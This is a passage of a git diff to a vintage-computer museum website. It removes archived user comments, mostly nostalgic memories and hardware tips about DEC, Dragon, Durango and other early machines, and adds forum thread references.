author: Fred Einstein (Cincinnati, OH USA) - date: Friday 2nd April 2010 - text: |- - While working at DEC, I actually wrote MS-DOS 3.3 for the Rainbow 100. The machine had several operating system choices for it. You could run CPM-80 on the Z80 microprocessor, CPM/86 on the 8088, MS-DOS on the 8088, VENIX (a UNIX v5 implementation) on the 8088, MPM (a multi-tasking version of CPM/86), and even Windows 1.0 which was adapted for the Rainbow at DEC by a guy named Alpo Kalio (a brilliant engineer). Windows ran on the hardware-assisted graphics card. The unique part of the hardware is that the two CPU''s could share a 2K space in RAM which allowed them to communicate. Thus, the floppy disc handling was done totally by the Z80 while the rest of the system I/O was done by the 8088. Pretty advanced engineering! - - The biggest definciency of the Rainbow was the fact that early versions of it had no support for software writers. On the IBM PC, you could call various BIOS functions such as INT 10H to do elementary text and graphics on the screen. The Rainbow, until DOS v2.11 had no such support. Thus, software writers such as Lotus 1-2-3 had a heckava time trying to talk directly at the hardware in order to do text and graphics. Later on, as the Rainbow was dying, I produced a complete Software Development Kit for the Rainbow which had a rich set of interfaces for doing text and graphics. I also wrote a driver so that the Rainbow could read and write single-sided IBM floppies and so that the IBM PC could read Rainbow''s 10 sector per track single sided floppies. - - Later on, the morons at DEC (which had a very hierarchical management structure) tried to clone the IBM AT in a single box. They called this monstrosity the VAXMate. Unfortunately, one of the engineers who was working on the non-infringing BIOS actually stole some of IBM''s code verbatim. This caused all sorts of legal problems for DEC. Ken Olsen, the short-sighted owner of DEC, demanded that the VAXMate be produced with monochrome EGA graphics and without a fan. Thus, the thing constantly overheated. I think that DEC may have sold 1 or 2 of these horrid machines. I had already departed for Microsoft by the time that DEC tried to get this VAXMate thing off the ground. - - author: Rich Allen (Tucson AZ USA) - date: Sunday 17th May 2009 - text: The Rainbow 100 was the computer I really wanted but couldn''t afford. It could run CP/M and MS DOS... in those days there was a trove of CP/M software and DOS was just getting off the launch pad. I miss the days when there were so many different platforms. - - author: S.R. (USA) - date: Thursday 15th June 2006 - text: |- - I used to use Code Blue, an IBM PC Emulator, to run Omega. A very enjoyable Rogue-like game. The dungeons took upwards of 15 minutes to load. - - Also there was an excellent word processor, WPS for both CPM and DOS. - - author: Mike T. (UK) - date: Friday 1st April 2005 - text: |- - The text mentions that the DEC introduced a 80286 based system called a VAX-station - this was I expect actually a VAX-mate (or DEC-mate). (A VAX station is a different thing altogether). - - It also appears to be little known that the DEC Rainbow had hi-res colour graphics and that it was possible to display graphics and text on two separate screens at the same time (one text only and the other for colour graphics) - not bad for a machine that came out before the PC era even started... - - It's biggest technical flaw was the lack 'standard' interface bus - in the end this didn't matter as DEC simply didn't comprehend the potential for a market in personal computers. - - author: J.C. (United States) - date: Sunday 2nd November 2003 - text: |- - I found some old "Rainbow 100" floppies in a garage sale. I plugged in my ol' 5.25" drive into a fairly modern system with Linux installed. It turns out that if you tweak the /dev/fd0 device using setfdprm it's possible to copy off the contents of the Rainbow 100 floppies. Just specify that the disk is single-sided, double-density, 10 sectors/track, 80 tracks, 800 sectors total, 512 bytes/sector. The sectors are organized by a 2:1 interleave pattern except in tracks 0 and 1 (I don't know how to tell setfdprm this). Don't forget to try adding rate=1 when using setfdprm. You should be able then to use dd or cp to copy the contents to a file. Even when this is done, however, don't expect to be able to mount it. The first two tracks are loader code, or something. One floppy had MS-DOS 3.0 on it and I couldn't find the boot sector (but the FAT and root directory began immediately on track 2) so extracting files would probably involve manually copying parts of the image to other files. - - Good luck. - - author: Frank Gilbert (Earth) - date: Monday 2nd June 2003 - text: Thanks for the great site. Nostalgia for us old-timers. I remember porting a BASIC program I had written for the PC, to the Rainbow. All the screens had to be re-coded as Rainbow only had 23 lines while the PC had 24. Bummer! oc_id: 284 source: url: https://web.archive.org/web/20230428184609/http://www.old-computers.com/museum/computer.asp?c=284 diff --git a/content/museum/digital-equipment-corporation-vt-180.md b/content/museum/digital-equipment-corporation-vt-180.md index a5168e7a..0d0e1deb 100644 --- a/content/museum/digital-equipment-corporation-vt-180.md +++ b/content/museum/digital-equipment-corporation-vt-180.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 592 photos: - title: VT-180 COMPUTER subtitle: '' @@ -81,16 +82,6 @@ params: subtitle: '' text: '' image: null - comments: - - author: Niles Mills (United States) - date: Saturday 27th October 2012 - text: I purchased two new VT180''s when they were first available, with four drives each. There was lots of good software to purchase back then from a company called Lifeboat. DEC published the CP/M source code, and so it was possible to do things like increase the size of the serial FIFO buffer (beyond it''s default 4 bytes) so that serial comm speeds greater than 2400 baud would not $ bytes. I wrote quite a few utilities (in BDS C) for the VT180''s, including one that communicated between the two VT180''s over the extra serial port, allowing them to spool each other''s print jobs. I still have both systems and they are in good condition. DEC hardware back in the 1980''s was truly "commercial grade" and nearly indestructible. Looking back, it''s hard to believe that those 5-1/4" floppies were sufficient, but they were. - - author: Chris Wildermuth (USA) - date: Friday 30th September 2011 - text: A VT180 was my first computer. I bought it used from a DEC employee. It had 4 drives that would whirl away, one for CP/M, two for applications and one to store files. It included a BASIC program with with hand typed, Xeroxed instructions from a company called "Micro-Soft" based in Albuquerque, as well as Multiplan and WordStar. I became a master of formatting WordStar because you only saw the commands and had to print out the finished product. Many many years later someone asked me if I knew HTML. I said no, I wasn''t a programmer. Later, I looked over the person''s shoulder and asked, "Where did you find WordStar? I have not seen that in years!" She said, "What are you talking about? What''s WordStar? This is HTML." That is how I lovingly remember my old Robin. My wife eventually forced me to donate it as it was talking up precious closet space in a one-bedroom apartment. Sure wish I''d kept those old "Micro-Soft" instructions. - - author: Jan-Erik Karlsson (sweden) - date: Saturday 7th August 2010 - text: I have a VT180 ( robin ) up running and still used with multiplan for accounting oc_id: 605 source: url: https://web.archive.org/web/20230528092247/http://www.old-computers.com/museum/computer.asp?c=605 diff --git a/content/museum/digital-equipment-corporation-vt78.md b/content/museum/digital-equipment-corporation-vt78.md index 6b78f93a..dabfb45d 100644 --- a/content/museum/digital-equipment-corporation-vt78.md +++ b/content/museum/digital-equipment-corporation-vt78.md @@ -62,6 +62,7 @@ params: - photos - emulators - links + forum_thread: 370 photos: - title: COMPLETE VT78 subtitle: '' @@ -89,38 +90,6 @@ params: - title: Yet Another PDP-8 Web Site url: http://www.pdp8.net/ text: Lot of information and pictures - comments: - - author: David (USA) - date: Sunday 16th September 2012 - text: We had two of these back in 1979 that were set up for word processing in an architect''s office. They had a large smoked plexiglass cover over the angled face and were the cat''s meow for their day. The program went in one floppy and the other was used to store data. They were great for turning out specs on government jobs $ 350 pages per project. Had a Diablo Daisy Wheel printer. - - author: Joe (Des Moines, IA) - date: Saturday 4th August 2012 - text: Jackie, DON''T THROW IT OUT!!! If you don''t want it, list it on EBay so that some collector can grab it. - - author: Jackie (USA) - date: Saturday 14th July 2012 - text: 'I just found one of these in my parents'''' attic while helping them clean it out. Now the question is: what do I do with it? My dad was just going to chuck it out, but it seems like someone would be interested in it! My next step is to see if it powers up and then clean up the outside a bit.' - - author: Jackie (USA) - date: Saturday 14th July 2012 - text: 'I just found one of these in my parents'''' attic while helping them clean it out. Now the question is: what do I do with it? My dad was just going to chuck it out, but it seems like someone would be interested in it! My next step is to see if it powers up and then clean up the outside a bit.' - - author: Jackie (USA) - date: Saturday 14th July 2012 - text: 'I just found one of these in my parents'''' attic while helping them clean it out. Now the question is: what do I do with it? My dad was just going to chuck it out, but it seems like someone would be interested in it! My next step is to see if it powers up and then clean up the outside a bit.' - - author: Jackie (USA) - date: Saturday 14th July 2012 - text: 'I just found one of these in my parents'''' attic while helping them clean it out. Now the question is: what do I do with it? My dad was just going to chuck it out, but it seems like someone would be interested in it! My next step is to see if it powers up and then clean up the outside a bit.' - - author: Jackie (USA) - date: Saturday 14th July 2012 - text: 'I just found one of these in my parents'''' attic while helping them clean it out. Now the question is: what do I do with it? My dad was just going to chuck it out, but it seems like someone would be interested in it! My next step is to see if it powers up and then clean up the outside a bit.' - - author: Trevor - date: Wednesday 1st September 2010 - text: My family has the floppy drive unit for this computer. We long lost the rest of it, but since the floppy drive and power supply were attached to a rolling desk it was saved. We''d been using it as a desk for years and for the longest time I didn''t realize it was a piece of computer history. - - author: Mark (Chicago) - date: Wednesday 14th January 2009 - text: |- - I think I''ve positively identified this machine (vt78) as the machine I first programmed on in our high school computer lab back in ''78. I know it was a DEC, but I don''t remember the red/white/blue keys. It was built into a desk with the dual 8" floppies off to the left and a space for the user''s legs under the terminal/computer part.\ - If I''m wrong then I think at least it was some kind of related PDP-8 built into a desktop configuration. I wrote lots of BASIC programs on pencil-marked punch cards dating from March ''78.\ - I''d really like to find one of these in working order and get it running. I started with a TI-99/4A at home years later and I have several of those, but this was my first experience and it was a great computer that decided my career path for over 30 years.\ - -mz related: - /museum/digital-equipment-corporation-pdp-8 oc_id: 369 diff --git a/content/museum/digital-micro-systems-dms-3-f.md b/content/museum/digital-micro-systems-dms-3-f.md index c15f7941..942dab94 100644 --- a/content/museum/digital-micro-systems-dms-3-f.md +++ b/content/museum/digital-micro-systems-dms-3-f.md @@ -56,6 +56,7 @@ params: value: Unknown tabs: - adverts + forum_thread: 582 adverts: - title: DMS-15 subtitle: '' diff --git a/content/museum/digital-micro-systems-dms-5000.md b/content/museum/digital-micro-systems-dms-5000.md index 8c9dc41c..d2b33c13 100644 --- a/content/museum/digital-micro-systems-dms-5000.md +++ b/content/museum/digital-micro-systems-dms-5000.md @@ -54,28 +54,7 @@ params: value: Built-in power supply - label: PRICE value: Unknown - comments: - - author: Steve Kline (Oakland, CA) - date: Friday 10th June 2011 - text: I worked for Digital Microsystems from 1980 until 1984. The company was located in Oakland California at 1840 Embarcadero Cove. We produced many innovative products suchs as the SPX (Serial Port Expander) and the DMS-5000. The DMS5000 monitor used a mercury switch to determine the actual position of the screen for either full page letter format or widescreen speadsheet format. Our head Engineer Joe ??? was a Berkeley grad and loved his watch that had a built in calculator (c 1982). - - author: Paul Norris (USA) - date: Tuesday 24th April 2018 - text: |- - I worked for DMS from 1983 through 1985 in NY as their Eastern Region Support Manager. (we sold to Columbia University Teachers College to name a few). We were in charge of the distributers on the eastern half of the US. - - I was put into business by DMS and was given 1/3 of all inventory remaining after the sale. It was shipped cross country from Oakland to my new warehouse. The unit you were speaking of was the DMS816 which was a PC Dos version on the HiNet lan. - - I still have some equipment of theirs if anyone wants to fork over thier life savings : ). - - I also still have many repair parts including DRAM and power supplies which I will part with. - - author: Mark Currie (Melbourne. Australia) - date: Saturday 22nd March 2014 - text: I worked for Daro Office Systems (Australian distributor for DMS), and remember working with the US engineers to rewrite the record OS locking routines. There were several companies using a one of the first PC multi-user accounting systems called Darofacs, and it needed special routines. The record locking code had to fit in such a confined memory area that we had to manually code in Z80 assembler and had to manually optimize code to use 2 byte relative instructions where possible such as jump relative (jr) instead of the normal 3 byte absolute (such as jmp) just to save a 300 or 400 bytes. DMS also released an early PCDOS workstation workstation (not the DMS5000) but I cannot remember the model. - - author: Antonio Mankini (USA) - date: Tuesday 25th January 2011 - text: |- - Complete "soft" keyboard (its own 8048 processor)- any key could be programmed to command string, function or character.\ - The DMS 5000 was also available with an 8087 math co-processor. It was a CAD workstation and ran an early (beta) version of AutoCAD. I still remember... + forum_thread: 596 oc_id: 609 source: url: https://web.archive.org/web/20230417004102/http://www.old-computers.com/museum/computer.asp?c=609 diff --git a/content/museum/digitus-dgt100-dgt1000.md b/content/museum/digitus-dgt100-dgt1000.md index f0547f36..dee0ea8b 100644 --- a/content/museum/digitus-dgt100-dgt1000.md +++ b/content/museum/digitus-dgt100-dgt1000.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 1142 photos: - title: COMPLETE DGT-100 SYSTEM subtitle: '' @@ -75,30 +76,6 @@ params: subtitle: '' text: Guizzi (http://www.scribd.com/doc/938905/Micro-Sistemas) image: /media/museum/pubs/digitus_dgt100_pub_1.jpg - comments: - - author: David (Lindale, TX USA) - date: Tuesday 19th October 2010 - text: |- - I have one of these in storage. I bought in off eBay from Brazil around 2005 I believe. - - Am looking for manuals, etc. - - If this site would like to use any of my photos they are free if they will credit me:\ - http://en.wikipedia.org/wiki/File:DGT-100_Brazilian_TRS-80_Clone.jpg - - http://dcsutherland.smugmug.com/Computers/DGT-100/632603_YqhRm$26917684_p4HV9 - - author: Sandro (Brazil) - date: Monday 6th September 2010 - text: |- - My first PC was a DGT-100. I can add the following information: - - This monitor is actually an adapted Philips B/W TV. If you remove the cables from the jack slots (as see in the picture), you can watch TV. - - To run a CP/M OS I needed to install an additional chip inside the computer and more memory. - - The reset button, on the right side of the case, could be easily pressed accidentally. It was very annoying. - - It worked for several years until I replace it for a brand new IBM-PC clone. When I sold my DGT-100, it was running as new. oc_id: 1174 source: url: https://web.archive.org/web/20221203165600/http://www.old-computers.com/museum/computer.asp?c=1174 diff --git a/content/museum/dms-telesports-mini.md b/content/museum/dms-telesports-mini.md index 51f06d05..5bc10304 100644 --- a/content/museum/dms-telesports-mini.md +++ b/content/museum/dms-telesports-mini.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 664 photos: - title: TELE-ACTION MINI subtitle: '' @@ -82,22 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: DHeadshot (UK) - date: Tuesday 8th January 2013 - text: I have something similar, apparently released in Hong Kong in 1984 (I bought it on eBay last year) - - author: Tim Woollett (UK) - date: Wednesday 22nd July 2009 - text: I can remember playing with this when I was in my early teens and had a great deal of fun with it. One strange thing I remember was that you were able to put the game $or halfway between hockey and another game and that would give one player the advantage of having 3 bats instead of the normal 2. - - author: Ivan (Dallas) - date: Sunday 2nd October 2005 - text: I just wonder why they were still releasing new pong systems as late as 1983 (when the Colecovision, C64, and Vectrex were big). Could this be the beginning of retrogaming (comparable to all of the multigame Jakks sticks of today). - - author: pablo (buenos aires argentina) - date: Sunday 16th November 2003 - text: i have exact this !!!!. - - author: Marco van den Hout (Netherlands) - date: Sunday 27th April 2003 - text: I have a similar (nearly identical?) item but from the AudioSonic (AS) brand. It is called tele-sports mini. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/dragon-data-ltd-dragon-200.md b/content/museum/dragon-data-ltd-dragon-200.md index 2296fdb8..75aa293a 100644 --- a/content/museum/dragon-data-ltd-dragon-200.md +++ b/content/museum/dragon-data-ltd-dragon-200.md @@ -69,6 +69,7 @@ params: - hardware - software - links + forum_thread: 917 photos: - title: LARGE VIEW subtitle: '' @@ -179,20 +180,6 @@ params: - title: The DRAGON Archive url: http://www.dragon-archive.co.uk/ text: A site dedicated to the Dragon series of computers. Includes software archive, history of the dragon and much more. - comments: - - author: Robcfg (Spain) - date: Wednesday 16th October 2013 - text: |- - Recently I had the opportunity to borrow a Dragon 200E so I could dump the roms, take pictures, and scan the PCBs. - - It doesn''t have an 80-column card, rather a new character rom, which can be disabled by software. - - You can find the pictures here: http://archive.worldofdragon.org/index.php?title$Dragon_200 - - And the PCB scans here: http://archive.worldofdragon.org/index.php?title$Motherboard_Pictures$Dragon_200E - - Regards,\ - rob related: - /museum/dragon-data-ltd-dragon-32 - /museum/dragon-data-ltd-dragon-64 diff --git a/content/museum/dragon-data-ltd-dragon-32.md b/content/museum/dragon-data-ltd-dragon-32.md index a18b2d7a..2cb06196 100644 --- a/content/museum/dragon-data-ltd-dragon-32.md +++ b/content/museum/dragon-data-ltd-dragon-32.md @@ -68,6 +68,7 @@ params: - hardware - software - links + forum_thread: 130 photos: - title: INSIDE DRAGON 32 subtitle: '' @@ -230,115 +231,6 @@ params: - title: The DRAGON Archive url: http://www.dragon-archive.co.uk/ text: A site dedicated to the Dragon series of computers. Includes software archive, history of the dragon and much more. - comments: - - author: Nick Blackburn (Isle of Man, UK) - date: Wednesday 16th June 2021 - text: Hi Eddie Lee (Cardiff ), Do you still have your Dragon 32? I know its been a few years but you might still have it. Thanks! Nick - - author: mazhar said (United Kingdom) - date: Wednesday 3rd February 2021 - text: hello i typed in (9/85) dragon user a word processing program (in machine code) however i dont know the start end exec address of it please can some 1 help me out here thanks - - author: Dave (Virgina, USA) - date: Sunday 6th September 2015 - text: First, and only home computer, was a 32 and kept it until 2000. Initially bored from playing Space Invaders non-stop for a week, I started programming. What a world that opened up! BASIC followed by machine code, dabbling in graphics, audio, and hardware interfacing. Luckily my first job used a product line with a 6809 CPU for analog and digital interfacing! - - author: Eddie Lee (Cardiff ) - date: Thursday 30th July 2015 - text: I have a Dragon 32 available to a good home, don''t know if it still breathes fire as I haven''t switched it on for years. If anyone wants it let me know - - author: Andrew Norton (United States) - date: Monday 4th April 2011 - text: |- - I got a 32 used, from Thornleys (a pork processing plant in Chorley) in 1986. The system, a tape drive, the dragon floppy drive a a big bag of software. Plus a Juki daisywheel wide-format printer. - - It ran the databases for our family business for years, and I used it daily until I moved to the US in 2002, where it was put in storage. In 91+92 i even went to the last Dragon store in Valletta to buy more software. Ah fun times..... - - author: Tanny - date: Friday 11th March 2011 - text: Hi this computer i had for a whole year and a bit - it helped me pass one o level and fail all the rest - i sent it back to the catologue company in a bid to upgrade to the Dragon64 but never did so as my parents would not let me buy a computer ever again due to me failing my exams!! - - author: MR Bailey (Somerset, England, UK) - date: Saturday 20th November 2010 - text: |- - Ah these beasts helped get me into computing as a youngster!\ - I have one but it wont seem to work anymore due to some video IC going bust I think :''( brian if yours is still available or anyone else wants to get rid of their old dragon a good home is here and I am dying to try out all my old tapes some of which should contain my own software I programmed over the long nights! (god computing was so much more fun "back in the day" lol) - - author: carolyn myers (england) - date: Wednesday 20th October 2010 - text: I am looking for two games by microdeal for the dragon 32.They are Racerball and Galagon. Can anybody help direct me to where I could buy them please ? - - author: brian estcourt (uk) - date: Tuesday 27th July 2010 - text: i have a as new dragon 32 computer, plus dragon 32 printer...in the original boxes, anybody interested email me...brian - - author: Jose Luis Medina (ES) - date: Sunday 22nd October 2006 - text: |- - Wow... Dragon 64 was my first computer...it was the gilty I start to interest on computers... 20 yrs later.. I continue working on them!!! - - I'keep my Dragon 64 working (with it's infamous orange monitor) after a couple of repairings. - - author: Gabriel Klein (Haifa Israel) - date: Sunday 17th September 2006 - text: |- - Dragons 32 and 64 were a great success here in Israel from 1983. They successfully competed Atari, Apple, Commodore Sinclair, BBC, Tandy and others and in many cases won on speed, color, sound, size and price. Support was available through UK and local centers. They had plenty of additional materia:. Hardware add-ons (joysticks, single and dual floppy drives, matching displays, cables, cassette drives) Software was avilable in all forms (magazines, listings, cassettes and later floppies too) and we used to have several fan clubs with many both young and experienced programmers who exchanged programs on buletin boards and even on one of the very first "internet" networks that used the old dial up standalone modems. You guys wouldnt believe to what heights we brought that original flight simulator, after groups of veteran pilots added their knowhow to programmers to create a real life simulator.....\ - I bought my first 32 in 1983 and traded it in for the 64 a year later. It was my first PC and a fabulous machine for learning machine code, basic, pascal, OS9 op system which actually was a subset of unix and more. The dragons followed me from my days as an electronics student, through marriage, several homes, two kids and a long Hi-tec carreer. I gave away the 64 in 1997 in perfect condition with all its manuals and software, after many years serving faithfully my two kids. I naturally switched in the late 80's to PCs of which I had almost every type and size but will never forget those dragons which allowed me to enter the magic world of computers and electronics - and did a faster and better job than all my proffesors put together. Farewell, little dragons - You'll always have a place in my heart. - - author: Renato Tramontina (NL) - date: Wednesday 15th March 2006 - text: Sometime in the 80's I was saving all my pocket money to buy one of these machines. One day I finally had the needed fl 900,- (orso), I went to the shop only to discover the price was increase$d with another fl 50. Which I didn't have. In the end I never bought one, snif, snif. - - author: Len (UK) - date: Friday 21st May 2004 - text: |- - Did you know that some Dragon 32s shipped with 64k boards which had failed\ - quality control at 64 status but passed as 32s. One could enable the full\ - 64k on some 32s by inputting "&hffd7" at the prompt.\ - Just an in case you weren't aware of this.\ - I had a 32k board in mine in 1983 but knew a guy with a 32, potential 64\ - Dragon and the above did indeed enable 64k access. Stability was another\ - matter.\ - If I recall correctly, the modulater needed constant tweeking via a small\ - screw in the back of the machine. The disk drives cost more than the\ - machine. - - author: Bryan Lister (U.K.) - date: Friday 31st October 2003 - text: |- - Still got my Dragon up in the loft, never could bring myself to part with it. Got mine in late 1982 (I think) with £199 taken out of my birthday money account. It was a fortune for a (then) school boy to buy. Another peculiarity with the machine was that its video display was not full screen but a window with in. I chose the Dragon over a Sinclair Spectrum as it could display NINE colours over the Spectrum's EIGHT. Oh how things have changed. - - The software support was good for the Dragon, with companies like MicroDeal and Salamander offering the best titles. However, in those days programmes had to be loaded from cassette tape and this was a somewhat haphazard process, especially after the tape had been used many times and stretched a bit. I also recall spending a huge amount of time typing in an enormous amount of code for what looked like a very promising (!) flight simulator programme published in a magazine. All I ever got were error codes which was really frustrating after all that effort. I put it on one side and promised myself that I would come back to it and see if I could trace the problem. That cassette is still in the loft, and 21 years later, I have still not done it. - - It was a great machine and the early 1980s was such a fantastic time for schoolboys playing with the first home computers. A real adventure. - - author: John O'Leary (U.K.) - date: Tuesday 2nd September 2003 - text: |- - This was my first computer that I didn't design myself. It combined rubbish (e.g. CPU generated sound) with genius (e.g. the 6809 and coprocessor). I remember winning a copy of Jet Set Willly (on cassette tape) from some English magazine for writing a program in machine code to calculate square roots of arbitrarily large numbers. I didn't have a printer so I wrote it out on paper and posted it to them!\ - I taped a cartridge game at a shop and wrote a dissasembler and assembler to relocate it into RAM. To debug it, I made a little PCB that plugged in to generate a non-maskable interrupt when unavailable memory was accessed. - - Aah, nostalgia isn't what it used to be!!! - - author: Alan Abbott (Cheshire) - date: Thursday 6th February 2003 - text: |- - I have four Dragon 32's and one Dragon 64.\ - I collect them.\ - I am trying to find a copy of pettigrews diary (never did finish that game)! - - author: marc cross (london) - date: Sunday 22nd December 2002 - text: please help me!! i recently found my dregon32 and all attachments baring a cassete deck how or can i use a conventional player and or do i need a specific lead (tons of quality games to play but cant load) - - author: Kevin Webster (Derby) - date: Wednesday 28th August 2002 - text: |- - The Dragon 32 was also my first computer. I recently found it up in my parents loft, but cannot find the power supply. If anyone could help me out here I would be very grateful.\ - I would love to be able to play those old classic games again. - - author: Roger Russell (Swansea, Wales.) - date: Monday 10th June 2002 - text: I've still got 3 Dragon 32's here, and tons of software, was my first ever color computer, and it was made about 5 miles from where I live, happy days back then :) - - author: Fred (US) - date: Monday 29th April 2002 - text: I used to sell these things back in Dixons in Southampton, England back in the 80's. It was always a toss up for the buyer between this and the Atari - but this was able to draw a circle - machine sold ! - - author: Rob (Chapel Hill, US) - date: Monday 4th March 2002 - text: |- - I still have mine..just had a lot of stuff shipped over from UK to new home in NC, USA. Bottom of one box... dragon 32, those nasty joysticks and about 100 cassette tapes. - - I cut my computing teeth on a Dragon 32.. I loved it, even that green screen. I'll see if it works very soon..anyne for Donkey King? - - author: Paul Dixon (UK) - date: Monday 4th March 2002 - text: |- - This was my first computer and I wish I still had mine. The normal screen mode was usually a nasty green, but late in its life, my screen turned a pleasant shade of orange! - - The other thing I remember about it was that the high resolution graphics modes could not support text output - you had to "draw" text onto the screen using a logo-like language built into the Microsoft basic intepreter! - - It was also ahead of its time in supporting the needs of overclockers! A simple poke to a particular memory address resulted in a 33% speedup! related: - /museum/dragon-data-ltd-dragon-200 - /museum/dragon-data-ltd-dragon-64 diff --git a/content/museum/dragon-data-ltd-dragon-64.md b/content/museum/dragon-data-ltd-dragon-64.md index db7ac45a..c153b9e1 100644 --- a/content/museum/dragon-data-ltd-dragon-64.md +++ b/content/museum/dragon-data-ltd-dragon-64.md @@ -71,6 +71,7 @@ params: - hardware - software - links + forum_thread: 497 photos: - title: LARGE VIEW subtitle: '' @@ -221,19 +222,6 @@ params: - title: The DRAGON Archive url: http://www.dragon-archive.co.uk/ text: A site dedicated to the Dragon series of computers. Includes software archive, history of the dragon and much more. - comments: - - author: Hugh (England) - date: Tuesday 20th December 2011 - text: |- - Chuck, I had a Dragon 64 and also a clutch of TRS80 cartridges. About a third of them workied ok on the Dragon, but the others would start but not do anything. - - It was much much better than the Dragon 32. - - author: Chuck (Vermont, USA) - date: Thursday 8th December 2011 - text: Just out of curiosity, was the cartridge slot on the dragon, compatible with the TRS80 Color Computer''s cartridge? - - author: Aegis (Finland) - date: Wednesday 26th October 2005 - text: Well, found this oldie outta my room somewhere, but the power source is broken. Damn, i'd like to see this baby working but well, seems like no. related: - /museum/dragon-data-ltd-dragon-200 - /museum/dragon-data-ltd-dragon-32 diff --git a/content/museum/dragon-data-ltd-msx-64.md b/content/museum/dragon-data-ltd-msx-64.md index c081214f..94b4f966 100644 --- a/content/museum/dragon-data-ltd-msx-64.md +++ b/content/museum/dragon-data-ltd-msx-64.md @@ -58,18 +58,12 @@ params: value: Built-in PSU tabs: - photos + forum_thread: 1119 photos: - title: MSX-64 subtitle: '' text: '' image: /media/museum/photos/dragon_msx64_system_s2.jpg - comments: - - author: Roger Jowet (ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help oc_id: 1149 source: url: https://web.archive.org/web/20230608085330/http://www.old-computers.com/museum/computer.asp?c=1149 diff --git a/content/museum/dulmont-magnum.md b/content/museum/dulmont-magnum.md index 91e1c0a4..8bf6b1d6 100644 --- a/content/museum/dulmont-magnum.md +++ b/content/museum/dulmont-magnum.md @@ -60,32 +60,7 @@ params: value: 2 x 5.25'' 360 KB F.D. unit - label: PRICE value: Unknown - comments: - - author: Alex paine (Australia) - date: Tuesday 24th August 2021 - text: Together with Clive Mackness and Colin Morris we first conceived the idea that became the Dulmont Magnum in 1979 at which time I was the International Development Manager for Dulmison. - - author: Ian (England, United Kingdom) - date: Tuesday 29th November 2016 - text: This computer has just been featured as part of a working teardown on YouTube in Australia by a guy called Dave. https://youtu.be/st7H_vqSaQc - - author: Yuri - date: Thursday 31st March 2016 - text: |- - Somebody have schematic diagram Dulmont Magnum?\ - Someone has a laptop in working condition? - - author: David Payne (Melbourne, Australia) - date: Monday 10th February 2014 - text: |- - A friend I''ve lost contact with had a Time Office Kookaburra. I think they were renamed thus when Time Office Computing, (nothing to do with Henry Luce), bought Dulmont. - - NO WAY was this the first computer or even the tenth Microcomputer designed or built in Australia! Try CSIRAC $ perhaps the Automatic Totalisers long before that. The first Australian DESKTOP computer was probably the EDUC-8 c1973-4. - - author: Leskovez (Russia) - date: Saturday 18th January 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru - - author: Ivan Rozanoff (I am from Russia Tomilino village? under the Moskow ) - date: Monday 3rd January 2005 - text: |- - HAPPY NEW YEAR!\ - I am the crazy lover off old computers and your site! + forum_thread: 745 oc_id: 764 source: url: https://web.archive.org/web/20230329003534/http://www.old-computers.com/museum/computer.asp?c=764 diff --git a/content/museum/durango-f85.md b/content/museum/durango-f85.md index 72adaf39..f6740b2d 100644 --- a/content/museum/durango-f85.md +++ b/content/museum/durango-f85.md @@ -66,78 +66,7 @@ params: value: 14'' then 5.25'' hard disc, 1 or 2 external FDD, - label: PRICE value: From $11,000 - comments: - - author: David Ovington (United Kingdom) - date: Sunday 25th April 2021 - text: Starbasic still lives on! I worked for a UK company for 28 years (through various acquisitions) and the software still uses it and the ISAM database. Around 2005 we were getting restricted by the capabilities even though it had been ported to SCO unix / AIX etc. So we bought a license for the compiler and RUNtime and I did a load of improvements, increased program size, linked it to run alongside Java, replication of data out to SQL Server etc I still use it for quick utility programs to process text files, used it for so long it’s second nature! - - author: Steve P (UK) - date: Monday 4th November 2019 - text: We used one of these for our stock control, invoicing and accounts around 1980 with a horticultural wholesaler. We had the optional second dual disk drive to expand the memory to accommodate the number of stock lines we had. If I remember correctly, the whole package cost around £12.5k, a lot of money for a small company at that time but it revolutionised the way we worked. The floppies were not the most reliable, and had a habit of failure showing at the end of day back-up, usually meaning re-inputting the whole day''s work again! - - author: Andy Dent (Australia) - date: Sunday 23rd September 2018 - text: My first paid job was working on a Durango in Perth, Western Australia, back in 1981. I ended up $ping out of my Engineering studies to work full-time for the company who were a reseller who heavily customised the business suite. That got me my first major job - I walked in and slapped down a listing of Star-BASIC source with my initialled comments and said "I can understand and debug this". Amazing hardware and usability for the time. - - author: Dick Schmoekel (United States) - date: Monday 27th August 2018 - text: Wow!! I didn''t think anyone else remembered the Durango. I ran into Durango and George Comstock at Comdex in 1979 and we very quickly signed up to be one of their early dealers, Sunbelt Data Services out of Houston, Texas. We ended up selling a ton of them, first as dealers and then setting up other dealers throughout the US. We developed their Accounting software (AR, AP, GL. Payroll, OE/Inv and a Client Writeup Package for CPAs. We later sold the software back to Durango. That was a GREAT little machine for its day but the IBM PC release killed it. Thanks for the memory!!! - - author: Adnan - date: Tuesday 8th August 2017 - text: |- - dear Frank!\ - I am interested to buy! Do you still have the computer?\ - Danke :) - - author: Ken Macumber (Boston, MA) - date: Thursday 25th May 2017 - text: I used a Durango in South Africa in 1981,2 and 3. We used it for word processing. The company, Grinaker Projects, had a number of these systems. We wrote a cool construction bar chart scheduler program that would print out bar charts based on fields that contained start and stop dates, task, and sub-contractor. I could printout individual sheets per sub-contractor and I would distribute task lists to each sub on a weekly basis. It was pretty leading edge stuff for the time and it was very efficient. - - author: Peter (Germany) - date: Thursday 5th January 2017 - text: |- - Hallo Frank, - - hatte selbst 2 DurangoF-85 plus ext Doppel-Disk. - - Was soll dein F-85 kosten? (etl aus Nostalgie.....) - - Gruß aus Hamburg\ - Peter Breitenfeld\ - brt@peterbreitenfeld.de - - author: Frank (Germany) - date: Friday 22nd July 2016 - text: |- - I have a Durango F85 incl. some discs and would like to sell it. Anybody interested? - - Best regards\ - Frank - - author: Hector Buffa (Argentina) - date: Wednesday 17th June 2015 - text: |- - When we began our activities we had two F-85. Finally, we''d added hard disk to both computers, and we was able to connect them using ASCUTL. - - Then we knew that Mollecular launched a model named Popy o something like that. We saw that computer and we knew that the operative 